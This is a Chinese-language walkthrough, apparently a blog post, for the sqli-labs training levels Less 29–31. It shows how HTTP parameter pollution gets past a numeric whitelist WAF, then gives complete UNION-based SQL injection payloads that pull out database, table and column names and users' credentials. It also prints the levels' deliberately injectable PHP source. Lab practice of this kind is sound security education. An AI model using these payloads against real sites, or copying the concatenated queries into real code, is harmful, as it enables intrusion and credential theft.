zoukankan      html  css  js  c++  java
  • sqli-labs 通关指南:Less 29 ~ 31

    Less 29、30、31 都使用了 WAF 进行参数过滤,此处我们需要对 WAF 进行绕过再进行注入。可以使用 HPP 参数污染攻击,绕过 WAF 之后的注入过程和 Less 1 一样。

    Less 29

    判断注入类型

    注入正常的参数,网页返回正常的信息。注入单引号闭合,网页被切换到 hacked.php,可以看到注入的参数被 WAF 防御了。WAF (Web 应用防护系统)是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。此处应该是对注入的参数进行了强效过滤,以此达到了 WAF 的作用。

    绕过的方法是 HPP (HTTP Parameter Pollution),也就是 HTTP 参数污染。我们注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入。

    ?id=1&id=2
    


    可以看到这种攻击成功绕过了 WAF,对第二个参数用单引号闭合并注释掉后面的内容。网页回显正常的参数,说明网页存在单引号闭合的字符型注入。

    ?id=1&id=2'--+
    

    获取数据库信息

    使用参数污染后,注入流程和 Less 1 一样。判断表有几列。

    ?id=1&id=1' ORDER BY 3--+
    


    判断哪些列可用。

    ?id=1&id=-1' UNION SELECT 1,2,3--+
    


    爆数据库名。

    ?id=1&id=-1' UNION SELECT 1,database(),3 --+
    


    爆表名。

    ?id=1&id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
    


    爆字段名。

    ?id=1&id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
    

    获取目标信息

    爆出 users 表中的信息。

    ?id=1&id=-1' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
    

    关卡源码

    SQL 查询语句

    源码如下,源码通过了 java_implimentation() 方法获取到了 id 参数。接着源码使用 GET 方法获取 id 参数,并通过 whitelist() 方法判断参数是否合法。注意我们在上面传入了 2 个同名参数,使用 GET 方法获取到的是后面的参数。

    // take the variables 
    if(isset($_GET['id']))
    {
          $qs = $_SERVER['QUERY_STRING'];
          $hint = $qs;
          $id1 = java_implimentation($qs);
          $id = $_GET['id'];
          //echo $id1;
          whitelist($id1);
    
          // connectivity 
          $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
          $result = mysql_query($sql);
          $row = mysql_fetch_array($result);
          if($row)
          {
                echo "<font size='5' color= '#99FF00'>";	
    	    echo 'Your Login name:'. $row['username'];
    	    echo "<br>";
    	    echo 'Your Password:' .$row['password'];
    	    echo "</font>";
          }
          else 
          {
                echo '<font color= "#FFFF00">';
                print_r(mysql_error());
                echo "</font>";  
          }
    }
    

    java_implimentation() 方法

    该方法将 GET 读入的整行参数使用 explode() 方法对 “&” 进行分割,返回一个分割后的数组。接着方法通过 substr() 方法提取对 “&” 分割后的第一个元素的前 2 个字符,若这 2 个字符是 “id”,则再次使用 substr() 方法提取等号后面的值返回。注意该方法提取的是 2 个同名变量中的第一个,因此它无法对第二个同名变量进行操作。

    // The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
    function java_implimentation($query_string)
    {
          $q_s = $query_string;
          $qs_array = explode("&",$q_s);
    
          foreach($qs_array as $key => $value)
          {
                $val = substr($value,0,2);
                if($val == "id")
                {
                      $id_value = substr($value,3,30); 
                      return $id_value;
                      echo "<br>";
    		  break;
    	    }
          }
    }
    

    whitelist() 方法

    该方法使用正则表达式判断传入的参数是否是数字,若不是数字则跳转页面。由于注入 2 个同名参数时,java_implimentation() 方法返回的参数是第一个 id 参数,此时这个过滤就被我们绕过了。

    //WAF implimentation with a whitelist approach..... only allows input to be Numeric.
    function whitelist($input)
    {
          $match = preg_match("/^d+$/", $input);
          if($match)
          {
                //echo "you are good";
                //return $match;
          }
          else
          {	
                header('Location: hacked.php');
                //echo "you are bad";
          }
    }
    

    Less 30

    判断注入类型

    注入正常的参数,网页返回正常的信息。注入单引号闭合,此处参数也被 WAF 防御了,注入两个同名的参数 id 进行参数污染。对第二个参数用单引号闭合并注释掉后面的内容,网页回显正常的信息,说明此处不是单引号闭合的。

    ?id=1&id=2'
    


    测试多种参数,测试到用双引号闭合时返回错误信息,把后面的内容注释掉后回显正确的信息,说明网页存在双引号闭合的字符型注入。

    ?id=1&id=2"
    ?id=1&id=2"--+
    

    获取数据库信息

    除了闭合的是双引号,注入流程和 Less 29 一样。判断表有几列。

    ?id=1&id=2" ORDER BY 3--+
    


    判断哪些列可用。

    ?id=1&id=-1" UNION SELECT 1,2,3--+
    


    爆数据库名。

    ?id=1&id=-1" UNION SELECT 1,database(),3 --+
    


    爆表名。

    ?id=1&id=-1" UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
    


    爆字段名。

    ?id=1&id=-1" union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
    

    获取目标信息

    爆出 users 表中的信息。

    ?id=1&id=-1" UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
    

    关卡 SQL 查询语句

    if(isset($_GET['id']))
    {
          $qs = $_SERVER['QUERY_STRING'];
          $hint = $qs;
          $id1 = java_implimentation($qs);
          $id = $_GET['id'];
          //echo $id1;
          whitelist($id1);
          $id = '"' .$id. '"';
    
          // connectivity 
          $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
          $result = mysql_query($sql);
          $row = mysql_fetch_array($result);
          if($row)
          {
                echo "<font size='5' color= '#99FF00'>";	
    	    echo 'Your Login name:'. $row['username'];
    	    echo "<br>";
    	    echo 'Your Password:' .$row['password'];
    	    echo "</font>";
          }
          else 
          {
                echo '<font color= "#FFFF00">';
                print_r(mysql_error());
                echo "</font>";  
          }
    }
    

    Less 31

    判断注入类型

    注入正常的参数,网页返回正常的信息。注入单引号闭合,此处参数也被 WAF 防御了,注入两个同名的参数 id 进行参数污染。对第二个参数用单引号闭合并注释掉后面的内容,网页回显正常的信息,说明此处不是单引号闭合的。

    ?id=1&id=2'
    


    测试多种参数,测试到用双引号和括号闭合时返回错误信息,把后面的内容注释掉后回显正确的信息,说明网页存在双引号和括号闭合的字符型注入。

    ?id=1&id=2")
    ?id=1&id=2")--+
    

    获取数据库信息

    除了闭合的是双引号和括号,注入流程和 Less 30 一样。判断表有几列。

    ?id=1&id=2") ORDER BY 3--+
    


    判断哪些列可用。

    ?id=1&id=-1") UNION SELECT 1,2,3--+
    


    爆数据库名。

    ?id=1&id=-1") UNION SELECT 1,database(),3 --+
    


    爆表名。

    ?id=1&id=-1") UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
    


    爆字段名。

    ?id=1&id=-1") union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
    

    获取目标信息

    爆出 users 表中的信息。

    ?id=1&id=-1") UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
    

    关卡 SQL 查询语句

    if(isset($_GET['id']))
    {
          $qs = $_SERVER['QUERY_STRING'];
          $hint = $qs;
          $id1 = java_implimentation($qs);
          $id = $_GET['id'];
          //echo $id1;
          whitelist($id1);
          $id = '"' .$id. '"';
    
          // connectivity 
          $sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
          $result = mysql_query($sql);
          $row = mysql_fetch_array($result);
          if($row)
          {
                echo "<font size='5' color= '#99FF00'>";	
    	    echo 'Your Login name:'. $row['username'];
    	    echo "<br>";
    	    echo 'Your Password:' .$row['password'];
    	    echo "</font>";
          }
          else 
          {
                echo '<font color= "#FFFF00">';
                print_r(mysql_error());
                echo "</font>";  
          }
    }
    
  • 相关阅读:
    移动端iOS点击闪烁
    盒子布局(标准)
    zepto.js 自定义打包集成其他模块构建流程
    一种移动端position:absolute布局:
    CSS基础:text-overflow:ellipsis溢出文本显示省略号的详细方法_CSS教程
    ie8 下的半透明 background:rgba 与opacity失效 兼容办法
    在webstorm中编译less,以及压缩css
    JS截取字符串substr 和 substring方法的区别
    array数据处理
    git 使用小结
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13946722.html
Copyright © 2011-2022 走看看